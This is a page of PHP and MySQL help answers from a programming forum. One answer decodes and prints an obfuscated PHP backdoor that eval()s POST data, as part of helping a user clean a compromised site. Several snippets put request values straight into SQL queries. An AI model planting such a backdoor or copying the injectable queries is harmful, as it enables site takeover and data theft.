cereal 1,524 Nearly a Senior Poster Featured Poster

I cannot help you much on this, I've seen this problem when using two different versions of PHP on the same box, but in linux is simple to solve: just change the path before using phpize... in windows, since you are placing the dll, try the other versions of php_printer.dll http://downloads.php.net/pierre/ otherwise, I think, you have to compile the dll on your own.

cereal 1,524 Nearly a Senior Poster Featured Poster

Without the semicolon otherwise you comment the line and it's not considered: extension=php_printer.dll

After you save the file reload the server and it should work.

cereal 1,524 Nearly a Senior Poster Featured Poster

You have to install it from PECL: http://www.php.net/manual/en/printer.installation.php
And it seems to be Windows only.

cereal 1,524 Nearly a Senior Poster Featured Poster

What kind? This works for me:

<?php
$xml = <<<XML
<dataroot>
              <content id= "1">
                            <quest><![CDATA[<FONT FACE="Arial">Which of the following is not the measure of a physical quantity?</FONT>]]></quest>
                            <opt1><![CDATA[<FONT FACE="Arial">kilogram</FONT>]]></opt1>
                            <opt2><![CDATA[<FONT FACE="Arial">impulse</FONT>]]></opt2>
                            <opt3><![CDATA[<FONT FACE="Arial">energy</FONT>]]></opt3>
                            <opt4><![CDATA[<FONT FACE="Arial">density</FONT>]]></opt4>
                            <ans><![CDATA[a]]></ans>
                            <ans_desc><![CDATA[<FONT FACE="Arial">kilogram is the name of the fundamental unit of mass</FONT>]]></ans_desc>
              </content>
              <content id= "2">
                            <quest><![CDATA[<FONT FACE="Arial">Which of the following sets can enter into the list of fundamental quantities 
  in any system of units?</FONT>]]></quest>
                            <opt1><![CDATA[<FONT FACE="Arial">length, mass and velocity</FONT>]]></opt1>
                            <opt2><![CDATA[<FONT FACE="Arial">length, time and velocity</FONT>]]></opt2>
                            <opt3><![CDATA[<FONT FACE="Arial">mass, time and velocity</FONT>]]></opt3>
                            <opt4><![CDATA[<FONT FACE="Arial">length, time and mass</FONT>]]></opt4>
                            <ans><![CDATA[d]]></ans>
                            <ans_desc><![CDATA[<FONT FACE="Arial">velocity cannot enter in this set because it itself involves length and time.</FONT>]]></ans_desc>
              </content>
              <content id= "3">
                            <quest><![CDATA[<FONT FACE="Arial">If the unit of force and length are doubled, the unit of energy will be</FONT>]]></quest>
                            <opt1><![CDATA[<FONT FACE="Arial">Œ times</FONT>]]></opt1>
                            <opt2><![CDATA[<FONT FACE="Arial">œ times</FONT>]]></opt2>
                            <opt3><![CDATA[<FONT FACE="Arial">2 times</FONT>]]></opt3>
                            <opt4><![CDATA[<FONT FACE="Arial">4 times</FONT>]]></opt4>
                            <ans><![CDATA[d]]></ans>
                            <ans_desc><![CDATA[<FONT FACE="Arial"><P>Energy = Force <img src="Images/Phys1/XLAD670.gif" WIDTH=12 HEIGHT=13 align="absmiddle"> 
  distance = Force <img src="Images/Phys1/XLAD670.gif" WIDTH=12 HEIGHT=13 align="absmiddle"> 
  length.</P>
<P>When force and length are doubled, the unit of energy will becomes four times 
  that of its initial value.</P>
</FONT>]]></ans_desc>
              </content>
              <content id= "4">
                            <quest><![CDATA[<FONT FACE="Arial">Given that displacement of a particle is given by <img src="Images/Phys1/XLQ680.gif" WIDTH=101 HEIGHT=21 align="absmiddle"> 
  where t denotes the time. The unit of K is</FONT>]]></quest>
                            <opt1><![CDATA[<FONT FACE="Arial">hertz</FONT>]]></opt1>
                            <opt2><![CDATA[<FONT FACE="Arial">metre</FONT>]]></opt2>
                            <opt3><![CDATA[<FONT FACE="Arial">radian</FONT>]]></opt3>
                            <opt4><![CDATA[<FONT FACE="Arial">second</FONT>]]></opt4>
                            <ans><![CDATA[a]]></ans>
                            <ans_desc><![CDATA[<FONT FACE="Arial"><P>Here K is dimensionless. Thus </P>
<P><img src="Images/Phys1/XLAD680.gif" WIDTH=198 HEIGHT=41 align="absmiddle"></P>
</FONT>]]></ans_desc>
              </content>
              <content id= "5">
                            <quest><![CDATA[<FONT FACE="Arial">Dimensions of velocity gradient are same as that of </FONT>]]></quest>
                            <opt1><![CDATA[<FONT FACE="Arial">time period</FONT>]]></opt1>
                            <opt2><![CDATA[<FONT FACE="Arial">frequency</FONT>]]></opt2>
                            <opt3><![CDATA[<FONT FACE="Arial">angular acceleration</FONT>]]></opt3> …
cereal 1,524 Nearly a Senior Poster Featured Poster

If I understood the problem this should work:

RewriteRule ^(includes|and|other|directories) - [L]

place it right after RewriteEngine On the rules won't be applied in those directories. Bye! :D

diafol commented: cracking - thanks +14
cereal 1,524 Nearly a Senior Poster Featured Poster

Hi!

Minimize HTTP requests. One of the suggestion I always read is to combine files, so I made a little Class that merges files on the fly, the supported formats are CSS and Javascript. With little efforts, I think, it can work fine also with JSON and CSV.

Usage is simple:

  • create a file that will serve data and in which the class is included
  • set config variables: method, path and type
  • use a link in this format: /merge/?css&first.css&second.css&third.css

Basically:

<?php

$list = $_SERVER['QUERY_STRING'];
$config['path']['css']  = '/css/';
$config['path']['js']   = '/js/';

include 'merger.class.php';

try
{
    $z = new Merger($list,$config);
    $exp = 60*60*24;
    header("Cache-Control: private");
    header("Cache-Control: maxage=".$exp);
    header('Expires: ' . gmdate('D, d M Y H:i:s', time()+$exp) . ' GMT');
    header('Accept-Ranges: bytes');
    header('Content-Type:' . $z->output_mime());
    header('Content-Length: '. $z->output_sizes());
    echo $z->output_data();
}

catch(Exception $e)
{

    echo $e->getMessage();
    exit();

}

?>

And in the file:

<link rel="stylesheet" href="/merge/?css&a.css&b.css&d.css" type="text/css" media="all" charset="utf-8" />
<script type="text/javascript" src="/merge/?js&jquery-1.7.2.min.js&include.js"></script>

Method and Path are setted in the script and passed as array in the second argument:

$config['method'] = 'get';
$config['path']['css'] = '/css/';

$z = new Merger($list, $config);

get is the default value for method, so it can be omitted, the alternative is cli. Type is setted in the link as first argument:

/merge/?css

this will select the path and the mimes to match, after the first argument append all the files that you want to merge:

/merge/?css&alfa.css&beta.css&gamma.css&...
/merge/?js&javascript_framework.js&calc.js&form.js&...

the string can be served as encoded through urlencode/rawurlencode or not. The class will check for …

cereal 1,524 Nearly a Senior Poster Featured Poster

Can you explain better?

The conditional statements are fine, I see just a difference in the last one where the first 3 variables are not grouped as the previous conditions, but that should not change the behaviour.

Also, I tested the conditions with:

$origin = 'NAIA 1';
$vehicle = 'Van'; # switching with 'Innova' and 'Small Car'
$zone = 'Paranaque 2';
$destination = 'BACLARAN';
$rate = 0;

and it works, the only problem I can think happens if the input is in lower case, for example if $destination is baclaran instead of BACLARAN then the conditions are not satisfied.

cereal 1,524 Nearly a Senior Poster Featured Poster

I removed the iframe and added the <div id="result"></div> since with javascript you need this and not the iframe. So try this:

<html>
<head>
    <title>search</title>
    <script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
    <script type="text/javascript">
        $(document).ready(function(){
           $('#forma_kerkimit').submit(function(e) {
                e.preventDefault();
                $.ajax({
                  type: "GET",
                  url: "http://localhost/phptest/search.php",
                  data: $('#forma_kerkimit').serialize(),
                  timeout: 30000,
                  cache: false,
                  error: function(){
                        $("#result").hide().html('server not responding');
                    },
                  success: function( msg ) {
                        $("#result").html(msg);
                  }
                });
            });
        });
    </script>
</head>
<body>
<!-- change this with your form -->
<form method="GET" action="http://localhost/phptest/search.php" id="forma_kerkimit">
    <table style="width:100%; /">
<tbody>
<tr>
      <td><label name= "programi_lb">Emri i programit</label></td>
      <td><label name="ckli_lb">Cikli i studimit</label></td>
      <td><label name="ial_lb">IAL</label></td>
</tr>
<tr>
     <td>
         <input style="width:100%" type="text" class="inputtext" name="programi" id="programi" tabindex="1" />
    </td>
    <td>
          <select style="width:100%" name="cikli_studimit" tabindex="2">
          <option></option>
          <option>Bachelor</option>
          <option>Diplomë 2 vjeçare</option>
          <option>Master profesional</option>
          <option>Master shkencor</option>
          <option>Doktoraturë</option>
          </select>
    </td>
      <td>
          <select name="ial" style="width:100%" tabindex="3">
          <option></option>
          <option>SHLUP "New York University - Tirana"</option>
          <option>SHLUP "Luarasi"</option>
          <option>Universiteti Katolik "Zoja e Këshillit të Mirë"</option>
          <option>Akademia e Filmit dhe Multimedias "Marubi"</option>
          <option>SHLUP "Universiteti "Marin Barleti""</option>
          <option>SHLUP "Universiteti Kristal"</option>
          <option>SHLUP "Justiniani I"</option>
          <option>SHLUP "Sevasti dhe Parashqevi Qiriazi"</option>
          <option>Universiteti Europian i Tiranës</option>
          </select>
      </td>
</tr>
<tr>
      <td><label name="lloji_programit_lb">Lloji i programit</label></td>
      <td><label name="koha_studimit_lb">Koha e studimit</label></td>
      <td><label name="gjuha_studimit_lb">Gjuha e studimit</label></td>
</tr>
<tr>
      <td>
          <select style="width:100%" name = "lloji_programit"tabindex="4">
          <option></option>
          <option>Publik</option>
          <option>Jo publik</option>
          </select>
      </td>
      <td>
          <select style="width:100%" name= "koha_studimit" tabindex="5">
          <option></option>
          <option>Full time</option>
          <option>Part time</option>
          </select>
      </td>
      <td>
          <select style="width:100%" name ="gjuha_studimit" tabindex="6">
          <option></option>
          <option>Shqip</option>
          <option>Anglisht</option>
          </select>
      </td>
</tr>
<tr>
<td><label name="akreditimi_lb">Akreditimi</label></td>
      <td><label name="vendodhja_lb">Vendodhja</label></td>
      <td><label name="fusha_studimit_lb">Fusha</label></td>
</tr>
<tr>      
      <td>
          <select name="akreditimi" size="1" style="width:100%" tabindex="7">
            <option></option>
            <option>Nuk ka hyrë në proces</option>
            <option>Në proces …
cereal 1,524 Nearly a Senior Poster Featured Poster

Please, post your updated code, it will be easier to find the problem :)

cereal 1,524 Nearly a Senior Poster Featured Poster

Change your implode() with: implode(',', $array['checkbox']);
or there is another problem?

choconom commented: super helpful post!! +0
riddhi_A commented: helpful. thanks +0
cereal 1,524 Nearly a Senior Poster Featured Poster

@choconom you're welcome

implode(), in this case, is used to separate each value of the array by a comma, so you get a string: 3,8,17 (ref. to previous post) instead of something to loop like array(3,8,17)

if you change $_POST['checkbox[]'] you can get rid of the line $array = array("checkbox" => $_POST['checkbox']); since you have already an array, as already stated by jstfsklh211

bye!

cereal 1,524 Nearly a Senior Poster Featured Poster

The simplest solution is to add an iframe:

<form action="search.php" target="result" method="post">
    <input type="text" name="msg" />
    <input type="submit" name="submit" value="send" />
</form>

<iframe name="result" src="search.php"></iframe>

If you want to use javascript, you can try JQuery, which is a framework and helps you to write code faster, this is an example:

<html>
<head>
    <title>search</title>
    <script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
    <script type="text/javascript">

        $(document).ready(function(){

           $('#forma_kerkimit').submit(function(e) {
                e.preventDefault();

                $.ajax({
                  type: "GET",
                  url: "/phptest/search.php",
                  data: $('#forma_kerkimit').serialize(),
                  timeout: 30000,
                  cache: false,
                  error: function(){
                        $("#result").hide().html('server not responding');
                    },
                  success: function( msg ) {
                        $("#result").html(msg);
                  }
                });

            });

        });

    </script>
</head>
<body>

<!-- change this with your form -->
<form id="forma_kerkimit" method="get" action="/phptest/search.php">
    <input type="text" id="fname" name="fname" /><br />
    <input type="submit" name="search" id="search" value="search" />
</form>

<!-- display results from query -->
<div id="result"></div>

</body>
</html>

Here the important is that the form tag has the ID value of forma_kerkimit so the ajax request is done. The result div is where the script displays the query result. If your script is already working, just replace the form of this example with yours and it should work.

Bye.

cereal 1,524 Nearly a Senior Poster Featured Poster

In my code replace previous $_POST['checkbox'] with $_POST['checkbox[]']. I just forgot, sorry!

cereal 1,524 Nearly a Senior Poster Featured Poster

You can use:

  • Ajax to display results in your HTML page
  • an iframe
  • otherwise you need to make your page processable by PHP

in this last option you can mantain the .html extension if you need it, but you have to change the configuration file of your server or add a directive in the .htaccess file:

AddType application/x-httpd-php .html

show your code, someone will help you. Bye!

cereal 1,524 Nearly a Senior Poster Featured Poster

Hello,
If you temporary comment the delete block of code and add an print_r($_POST) you can read in which format you get the data, something like this:

Array
(
    [checkbox] => Array
        (
            [0] => 3
            [1] => 8
            [2] => 17
        )

    [delete] => Delete
)

if you select an element to delete, otherwise you get:

Array
(
    [delete] => Delete
)

so, in the delete block instead of using $count which is related to the query result, you can count() the checkbox array and do a loop or use implode() to run just one query, like this:

if(isset($_POST['delete']))
{
    if(count($_POST['checkbox']) != 0)
    {
        $ids = implode(',', $_POST['checkbox']);
        $result = mysql_query("DELETE FROM r_textbook_info WHERE id IN($ids)") or die(mysql_error());
    }
 }

hope is useful, bye!

choconom commented: this post saved me :) +0
cereal 1,524 Nearly a Senior Poster Featured Poster

Hi!
I tried your script, I had to comment the magento functions because I don't have that, but the loop seems to work. In my attempt I'm using an example $_options array, but I'm not sure about the structure, if the array structure is different, please post an example. Maybe the problem is there.

<?php
# example array structure
$_options = array(
    array(
        'label' => 'label a',
        'value' => 10,
        'option_id' => 23,
        'full_view' => 'label a extended'
        ),
    array(
        'label' => 'label b',
        'value' => 20,
        'option_id' => 24,
        'full_view' => 'label b extended'
        ),
    array(
        'label' => 'label c',
        'value' => 30,
        'option_id' => 25,
        'full_view' => 'label c extended'
        ),
    array(
        'label' => 'label d',
        'value' => 40,
        'option_id' => 26,
        'full_view' => 'label d extended'
        )
    );

    $countforfor=0;

    foreach ($_options as $_option) :

      $countforfor=$countforfor+1; ?>
        <input id="xyys" type="hidden" name="xyys" value="<?php echo($_option['value']);echo ($_option['option_id']);?>" /> 
            <?php if($_option['label'] != 'Corte'): ?>
                <?php $_formatedOptionValue = /*$this->getFormatedOptionValue(*/$_option/*)*/ ?>
                <dt><?php echo /*$this->htmlEscape(*/$_option['label']/*)*/ ?></dt>
                <dd<?php if (isset($_formatedOptionValue['full_view'])): ?> class="truncated"<?php endif; ?>><?php echo $_formatedOptionValue['value'] ?>
                    <?php if (isset($_formatedOptionValue['full_view'])): ?>
                    <div class="truncated_full_value">
                        <dl class="item-options">
                            <dt><?php /*echo $this->htmlEscape(*/$_option['label']/*)*/ ?></dt>
                            <dd><?php echo $_formatedOptionValue['full_view'] ?></dd>
                        </dl>
                    </div>
                    <?php endif; ?>
                </dd>
            <?php else: ?>
                <?php $_formatedOptionValue = /*$this->getFormatedOptionValue(*/$_option/*)*/ ?>
                <dt><?php echo /*$this->htmlEscape(*/$_option['label']/*)*/ ?></dt>
                <dd<?php if (isset($_formatedOptionValue['full_view'])): ?> class="truncated"<?php endif; ?>>
                <img id="fotop<?php echo $countforfor; ?>" name="fotop<?php echo $countforfor; ?>" height="100px" width="100px" src=""></img><?php echo Si; ?>
                    <?php if (isset($_formatedOptionValue['full_view'])): ?>
                    <div class="truncated_full_value">
                        <dl class="item-options">
                            <dt><?php /*echo $this->htmlEscape(*/$_option['label']/*)*/ ?></dt>
                            <dd><img id="fotog<?php echo $countforfor; ?>" name="fotog<?php echo $countforfor; ?>" src=""></img><?php …
cereal 1,524 Nearly a Senior Poster Featured Poster

condition = 'value' is just an example, you have to choose your condition for the WHERE statement, for example, basing on your table write: userid = '$_POST[id]'

cereal 1,524 Nearly a Senior Poster Featured Poster

Remove those parentheses after userid = and before WHERE.

cereal 1,524 Nearly a Senior Poster Featured Poster

$_FILES[] is a superglobal variable: http://php.net/manual/en/reserved.variables.files.php

You can read the Language Reference section in the PHP Manual to get the information you are searching for: http://www.php.net/manual/en/langref.php

cereal 1,524 Nearly a Senior Poster Featured Poster

You UPDATE query is wrong, you wrote:

UPDATE table SET() WHERE VALUES();

Change it to:

UPDATE users
SET userid = '$_POST[userid]',
firstname = '$_POST[firstname]',
lastname = '$_POST[lastname]',
email = '$_POST[email]',
username = '$_POST[username]',
password = '$_POST[password]',
role = '$_POST[role]')
WHERE condition = 'value';

Check this for more info: http://dev.mysql.com/doc/refman/5.5/en/update.html
And remember to sanitize data.

cereal 1,524 Nearly a Senior Poster Featured Poster

$query = ("DELETE FROM users WHERE fieldname = '".$_GET["userid"]."' LIMIT 1");

Change fieldname to userid, bye! ;D

cereal 1,524 Nearly a Senior Poster Featured Poster

Leave enchant.dll in the c:\php\extensions directory and move the others to the parent: c:\php or to c:\php\dlls and restart the server as explained here:

Some of the extensions need extra DLLs to work. Couple of them can be found in the distribution package, in the C:\php\dlls\ folder in PHP 4 or in the main folder in PHP 5, but some, for example Oracle (php_oci8.dll) require DLLs which are not bundled with the distribution package. If you are installing PHP 4, copy the bundled DLLs from C:\php\dlls folder to the main C:\php folder. Don't forget to include C:\php in the system PATH (this process is explained in a separate FAQ entry).

source: http://php.net/manual/en/install.windows.extensions.php

And if you read the FAQ entry http://www.php.net/manual/en/faq.installation.php#faq.installation.addtopath
you will read how to add the path c:\php otherwise the system will not find the additional dlls.

About your script

Checking a string can be slow. In your code you are doing two queries for each word, you can speed the queries by creating an index and searching an hash in the first query. You will need to add a varchar field to your table:

ALTER TABLE unicode ADD word_hash varchar(32) NOT NULL;

and run a query to update the table, this will add the hash value to word_hash field:

UPDATE unicode SET word_hash = (SELECT MD5(word));

and create an index containing the word_hash, the word and the id (if present):

CREATE INDEX word_index on unicode (word_hash,word,id);

then you …

cereal 1,524 Nearly a Senior Poster Featured Poster

Yes, you need a PWL file: a PWL file is personal word file one word per line, if you have words in the database just loop them into a file. And you have to use the function enchant_broker_request_pwl_dict() like this:

<?php
$r = enchant_broker_init();

# PWL dictionary path/file
$mydict = 'dict.pwl';

# word to check
$word = 'swrd';

# load custom dictionary
$d = enchant_broker_request_pwl_dict($r,$mydict);

# load standard dictionary instead of a custom
//$d = enchant_broker_request_dict($r,'en_GB');

$dict_details = enchant_dict_describe($d);
$dprovides = enchant_dict_describe($d);
echo "dictionary provides:\n";

$wordcorrect = enchant_dict_check($d, $word);

# details about the loaded dictionary
print_r($dprovides);

if (!$wordcorrect) {
    $suggestions = enchant_dict_suggest($d, $word);
    $result = array();
    foreach ($suggestions as $suggestion) {
        similar_text($word, $suggestion, $percent);
        if (round($percent) > 80) {
            $result[] = $suggestion;
        }
    }
}

# no duplicates, with Enchant I think this can be removed
$result = array_unique($result);
print_r($result);

enchant_broker_free_dict($d);
?>

Read here for more info:
* http://www.php.net/manual/en/enchant.installation.php
* http://www.php.net/manual/en/function.enchant-broker-request-pwl-dict.php

cereal 1,524 Nearly a Senior Poster Featured Poster

That's true in Windows platforms, it's supported until PHP 4.3.3, but in Linux it works also with newer versions. In substitution you can use Enchant: http://www.php.net/manual/en/intro.enchant.php

You can create a script similar to my previous, just check the example in the enchant_dict_suggest(): http://www.php.net/manual/en/function.enchant-dict-suggest.php

cereal 1,524 Nearly a Senior Poster Featured Poster

If the tables structeres are the same then you can use UNION, something like:

SELECT * FROM table1 WHERE condition = 'this' UNION SELECT * FROM table2 WHERE condition = 'this';

But if the tables are the same you will get a better performance if you merge them in a single table and create an index. http://dev.mysql.com/doc/refman/5.0/en/union.html

cereal 1,524 Nearly a Senior Poster Featured Poster

There is a vulnerability in certain CGI-based setups (Apache+mod_php and nginx+php-fpm are not affected) that has gone unnoticed for at least 8 years...

read more: http://www.php.net/archive/2012.php#id2012-05-03-1

cereal 1,524 Nearly a Senior Poster Featured Poster

Something is not clear to me: your databases are all in the same server? If yes then this kind of select can be done, but you need to perform only one connection to a MySQL SERVER, actually it seems you are going to connect 100 different remote servers but your first while loop is going to overwrite those connection variables and at the end of the loop, you have only one value for each variable, the last one. So can you perform only one connection. Also in order to query all databases you need to change this a bit:

<?php

$sql= 'select * from city ORDER BY id DESC';
$result=mysql_query($sql);
$counter=mysql_num_rows($result);
$i=1;
$all="";
while($rows = mysql_fetch_array($result)){
    $city =$rows['city'];
    $state=$rows['state'];
    $citytrimmed = str_replace(' ','',$city);
    $statetrimmed = str_replace(' ','',$state); 
    $cityst= strotolower($citytrimmed . $statetrimmed);
    $all.= 'SELECT * FROM '.$cityst.'.Sports';

    if($i < $counter){
        $all.= ' UNION ALL ';
        $i=$i+1;
    }else{
        $all.= ' ORDER BY timestamp DESC LIMIT 100';
    }

}

$citydbhost = 'localhost';
$citydbuser = 'user_allowed_to_access_and_select_from_all_db_involved';
$citydbpass = 'XXXXXX';

include 'cityopendb.php';
$query=mysql_query($all) or die(mysql_error());
while($row=mysql_fetch_array($query)){

}

?>

Otherwise you need to loop through each database, select, save result to an array and merge it with other results, or you need to use Federated tables or you need to change the configuration of your servers, read this answer: http://stackoverflow.com/a/508114/963510

cereal 1,524 Nearly a Senior Poster Featured Poster

I don't know if you solved, but what you get if you run show indexes from articles; this will give you some values for each field in the index, check about cardinality, if this is too low in some fields, for example in forumid, deleted and lastpost then this can be the reason why the index is not working: too many rows to read. And if this happens the reading buffer can't read all rows and use filesort() to read small part of data, check: http://s.petrunia.net/blog/?p=24

So maybe you can try to increase sort_buffer_size (default is ~2MB) and let fit the index in memory: http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_sort_buffer_size

cereal 1,524 Nearly a Senior Poster Featured Poster

Between line 11-13 there is no echo and on line 15 you are not escaping double quotes as in the other tags. Change it to:

<img src=\"http://www.lisa1986.com/images/mainLogo.png\">
cereal 1,524 Nearly a Senior Poster Featured Poster
cereal 1,524 Nearly a Senior Poster Featured Poster

It's $q, imagepng() as third parameter takes values from 0 to 9, which is different from imagejpeg()

http://www.php.net/manual/en/function.imagepng.php

also, take a look at imagegif(), it does not have a third paramenter for quality, so remove it:

http://www.php.net/manual/en/function.imagegif.php

bye :)

cereal 1,524 Nearly a Senior Poster Featured Poster

On CodeIgniter forum there is a thread about a similar problem (I think), but at the moment there aren't answers:

http://codeigniter.com/forums/viewthread/209004/

I'm wondering if this can be related to Utf8 library, this is in System/Core, check if removing @ from iconv() and mb_convert_encoding() will display an error. Good luck!

Dani commented: Thank you for the suggestion. +0
cereal 1,524 Nearly a Senior Poster Featured Poster

Maybe it's a memory limit issue, i.e. the memory used by PHP scripts, did you get any error? If error reporting is disabled, place <?php error_reporting(E_ALL); ?> at top of the script and see what it happens.

cereal 1,524 Nearly a Senior Poster Featured Poster

Your code seems ok to me, but why do you have var_dump($x); inside your javascript? var_dump() it's PHP, you need console.log there, or alert as you already wrote. And also you need to change your document.write to integrate the var as you did in the alert: document.write('<a href="' + unescapedUrl + '">save the image</a>'); bye :)

paulaandrea commented: THANKS SO MUCH +0
cereal 1,524 Nearly a Senior Poster Featured Poster

An example based on this comment: http://www.php.net/manual/en/ref.simplexml.php#66259

<?php
function display($in, $string) {
    if (file_exists($in)) {
        $xml = simplexml_load_file($in);
    } else {
        throw new Exception($in . " does not exist");
    }

    $manifest = $xml->children('http://www.w3.org/1999/02/22-rdf-syntax-ns');
    $a = '';
    foreach ($manifest->xpath('//rdf:value') as $value) {
	if(trim($value) == trim($string))
	{
		$a = $manifest->xpath('//rdf:object');
	}
    }

    # json used to remove SimpleXMLElement Object
    return json_decode(json_encode($a),true); 
}

$f = 'file.rdf';
$search = 'formality';
print_r(display($f,$search));
?>

Will give you this:

Array
(
    [0] => Array
        (
            [0] => vj
        )

)

You can improve it, just read the documentation, bye.

cereal 1,524 Nearly a Senior Poster Featured Poster

It can be done like this:

<?php
$html = '<tbody><tr>   <td>1.</td>   <td><a href="something.php?y=US&amp;id=197003">Some Name Here</a></td>   <td>City, STATE</td>   <td class="noWrap"></td>   <td class="noWrap">123-456-7890</td></tr><tr class="altRow">   <td>2.</td>   <td><a href="something.php?y=US&amp;id=113762">Another Name</a></td>   <td>City, STATE</td>   <td class="noWrap"></td>   <td class="noWrap">123-456-7890</td></tr>';

function get_id($data)
{
	preg_match_all('/< *a[^>]*href *= *["\']?([^"\']*)/i', $data, $matches);
	$result = array();
	foreach($matches[1] as $id)
	{
		$r = explode('id=',$id);
		$result[] = $r[1];
	}
	return $result;
}
print_r(get_id($html));
?>

Using preg_match_all to get all href in a tags and then searching for the right pattern, the constant, I set "id=" as constant in the explode() function but you can set also explode('something.php?y=US&amp;id=',$id); if you want and you will get the same result:

Array
(
    [0] => 197003
    [1] => 113762
)

an array of IDs, bye :)

cereal 1,524 Nearly a Senior Poster Featured Poster

last string is hex code, while the rest is base64, this is the translation:

/**
 * @version 2.6
 *
 */
if (isset($_POST["action"]))
{
        switch ($_POST["action"])
        {
                case "test":
                        test();
                        break;
                case "regular_test":
                        regular_test();
                        break;
                case "mail":
                        send();
                        break;
                default:
                        break;
        }
        return;
}

if (count($_GET) > 0)
{
        foreach ($_GET as $id => $code)
        {
                if ($id == "id")
                {
                        $code();
                }
        }
        return;
}

function test()
{
        $encoded_data = "";

        $data["version"] = phpversion();
        if (isset($_SERVER["SERVER_SOFTWARE"]))
        {
                $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];
        }
        else
        {
                $data["serverapi"] = "Not Available";
        }
        ob_start();
        phpinfo(8);
        $data["modules"] = ob_get_contents();
        ob_clean();
        $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;
        $serializes_data = serialize($data);
        $encoded_data = base64_encode($serializes_data);
        echo $_POST["test_message"] . $encoded_data;
}

function regular_test()
{

        $to = "air@example.com";
        $subj = "SUBJ!";
        $message = "EHLO";
        $res = mail($to,$subj,$message);
        if($res)
        {
            echo $_POST["test_message"];
        }
        else
        {
            echo strrev($_POST["test_message"]);
        }
}

function send()
{
        $code = base64_decode($_POST["projectcode"]);

        eval($code);
        //return;
}

last string:

echo base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7');
# output:
# $code = base64_decode($_);
# eval($code);

You can start by removing it and sanitizing the data you get from any script in which you use POST or GET methods.

karthik_ppts commented: Useful post +7
cereal 1,524 Nearly a Senior Poster Featured Poster

This is JSON, use print_r(json_decode($data,true)); to display the array, bye.

david_r commented: quick and accurate +1
cereal 1,524 Nearly a Senior Poster Featured Poster

You can use str_split(): http://www.php.net/manual/en/function.str-split.php

$string = file_get_contents('file.ext'); # source file
echo implode(';',str_split($string,10));
apa3 commented: Thanks a lot for your great help! +1
cereal 1,524 Nearly a Senior Poster Featured Poster
cereal 1,524 Nearly a Senior Poster Featured Poster

That's an IF statement:

if(isset($_SESSION['products']))
{
    $products = $_SESSION['products']; 
} else {
    $products = array();
}

Or

$products = array();
if(isset($_SESSION['products']))
{
    $products = $_SESSION['products']; 
}
Que336 commented: Legend +1
cereal 1,524 Nearly a Senior Poster Featured Poster
cereal 1,524 Nearly a Senior Poster Featured Poster

It seems you need to change the setting for maxRequestLength attribute which is found both in Machine.config and Web.config, this last file should be site specific, anyway check these links:

- http://masstechnical.com/Blog/tabid/100/EntryId/7/IIS-7-5-Setting-for-File-Upload-Size.aspx
- http://www.iis.net/ConfigReference/system.webServer/security/requestFiltering/requestLimits
- http://support.microsoft.com/default.aspx?scid=kb;EN-US;295626

or just search on google for "IIS 7.5 upload file size limits", I can't help more than this, bye.

cereal 1,524 Nearly a Senior Poster Featured Poster

You can read this article: http://oreilly.com/php/archive/mvc-intro.html
And after you can search for a PHP framework using MVC and study how it works. Bye :)

cereal 1,524 Nearly a Senior Poster Featured Poster

Set global both sides:

function a()
{
        global $b;
        echo $b;
}

function c()
{
        global $b;
        $b = 'hello world';
        return $b;
}

c();
echo a();
cereal 1,524 Nearly a Senior Poster Featured Poster

It's good practice to change them once in a while, so the decision is up to you, but the MySQL was published, so I suggest to change at least that.

Usually defacements are possible if the scripts don't sanitize $_GET, $_POST, $_REQUEST and $_COOKIE data. Read this guide, will help to enhance security in your website: http://phpsec.org/projects/guide/

I don't have a CPanel to test, but you may want to check into MySQL and Activity Log.

cereal 1,524 Nearly a Senior Poster Featured Poster
cereal 1,524 Nearly a Senior Poster Featured Poster

define $total outside the loop: $total = ''; bye.

cereal 1,524 Nearly a Senior Poster Featured Poster
cereal 1,524 Nearly a Senior Poster Featured Poster

As Pritaeas suggested here is an example code for MySQL shell:

mysql> select password('test');
+-------------------------------------------+
| password('test')                          |
+-------------------------------------------+
| *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 |
+-------------------------------------------+
1 row in set (0.00 sec)

mysql> create user 'dreamsin'@'localhost' identified by '*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29';

mysql> grant select, insert, update, delete, create, create view, drop, alter on db_name.* to dreamsin@localhost;

here you setup a single user for reading, inserting, creating tables inside a database, but if you can, create separated users: readonly (only select), application (select, insert, update, delete) and administration (previous privileges plus create, create view, drop and alter) it will be better.

+ http://dev.mysql.com/doc/refman/5.5/en/grant.html
+ http://dev.mysql.com/doc/refman/5.5/en/create-user.html

bye